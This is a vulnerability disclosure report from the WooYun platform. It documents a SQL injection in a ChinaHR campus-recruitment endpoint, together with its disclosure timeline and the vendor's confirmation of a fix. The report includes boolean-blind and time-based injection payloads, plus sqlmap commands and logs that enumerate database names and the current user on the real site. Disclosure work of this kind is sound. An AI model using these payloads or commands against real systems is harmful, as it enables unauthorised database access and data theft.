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缺陷编号:wooyun-2015-0119943

漏洞标题:中华英才网某分站sql注射漏洞

相关厂商:中华英才网

漏洞作者: 0c0c0f

提交时间:2015-06-12 11:24

修复时间:2015-07-24 11:50

公开时间:2015-07-24 11:50

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-06-12: 细节已通知厂商并且等待厂商处理中
2015-06-15: 厂商已经确认,细节仅向厂商公开
2015-06-25: 细节向核心白帽子及相关领域专家公开
2015-07-05: 细节向普通白帽子公开
2015-07-15: 细节向实习白帽子公开
2015-07-24: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

bool型式盲注、延时注入

详细说明:

1、注入点companyname参数。
http://campus.chinahr.com//campus/careertalk/careerinterface.ashx?cityid=&companyname=-1' OR 3*2*1=6 AND 000938=000938 -- &ctid=&currentindex=1&dateid=&hyid=&Op=search&optag=&orderby=ct_id&pagesize=10&ran=0.24026559432968497&schoolname=%C7%EB%CA%E4%C8%EB%D1%A7%D0%A3%C3%FB%B3%C6&timeid=
2、漏洞证明:
列数据库
[root@pentest sqlmap]# python sqlmap.py -u "http://campus.chinahr.com//campus/careertalk/careerinterface.ashx?cityid=&companyname=1&ctid=&currentindex=1&dateid=&hyid=&Op=search&optag=&orderby=ct_id&pagesize=10&ran=0.24026559432968497&schoolname=%C7%&timeid=" -p "companyname" --dba
Usage: python sqlmap.py [options]
sqlmap.py: error: no such option: --dba
[root@pentest sqlmap]# python sqlmap.py -u "http://campus.chinahr.com//campus/careertalk/careerinterface.ashx?cityid=&companyname=1&ctid=&currentindex=1&dateid=&hyid=&Op=search&optag=&orderby=ct_id&pagesize=10&ran=0.24026559432968497&schoolname=%C7%&timeid=" -p "companyname" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-adc8ac2}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:44:11
[09:44:11] [INFO] resuming back-end DBMS 'microsoft sql server'
[09:44:11] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: companyname (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: cityid=&companyname=1';WAITFOR DELAY '0:0:5'--&ctid=&currentindex=1&dateid=&hyid=&Op=search&optag=&orderby=ct_id&pagesize=10&ran=0.24026559432968497&schoolname=%C7%&timeid=
---
[09:44:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[09:44:12] [INFO] fetching database names
[09:44:12] [INFO] fetching number of databases
[09:44:12] [INFO] resumed: 17
[09:44:12] [INFO] resuming partial value: CampusC
[09:44:12] [WARNING] time-based comparison requires larger statistical model, please wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[09:45:37] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
hannel
[09:50:06] [INFO] retrieved: CareerTalk
[09:56:22] [INFO] retrieved: CRMS20
[10:00:29] [ERROR] invalid character detected. retrying..
[10:00:29] [WARNING] increasing time delay to 6 seconds
06
当前用户
[root@pentest sqlmap]# python sqlmap.py -u "http://campus.chinahr.com//campus/careertalk/careerinterface.ashx?cityid=&companyname=1&ctid=&currentindex=1&dateid=&hyid=&Op=search&optag=&orderby=ct_id&pagesize=10&ran=0.24026559432968497&schoolname=%C7%&timeid=" -p "companyname" --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-adc8ac2}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:10:11
[10:10:12] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:10:12] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: companyname (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: cityid=&companyname=1';WAITFOR DELAY '0:0:5'--&ctid=&currentindex=1&dateid=&hyid=&Op=search&optag=&orderby=ct_id&pagesize=10&ran=0.24026559432968497&schoolname=%C7%&timeid=
---
[10:10:13] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[10:10:13] [INFO] fetching current user
[10:10:13] [WARNING] time-based comparison requires larger statistical model, please wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[10:12:29] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
P
[10:13:57] [ERROR] invalid character detected. retrying..
[10:13:57] [WARNING] increasing time delay to 6 seconds
roject_campus
current user: 'Project_campus'
[10:25:15] [INFO] fetched data logged to text files under '/root/.sqlmap/output/campus.chinahr.com'
[*] shutting down at 10:25:15

漏洞证明:

current_user.png

修复方案:

1、过滤危险字符串

版权声明:转载请注明来源 0c0c0f@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-15 09:15

厂商回复:

感谢关注,我们会尽快修复,谢谢

最新状态:

2015-07-24:漏洞已修复,感谢关注!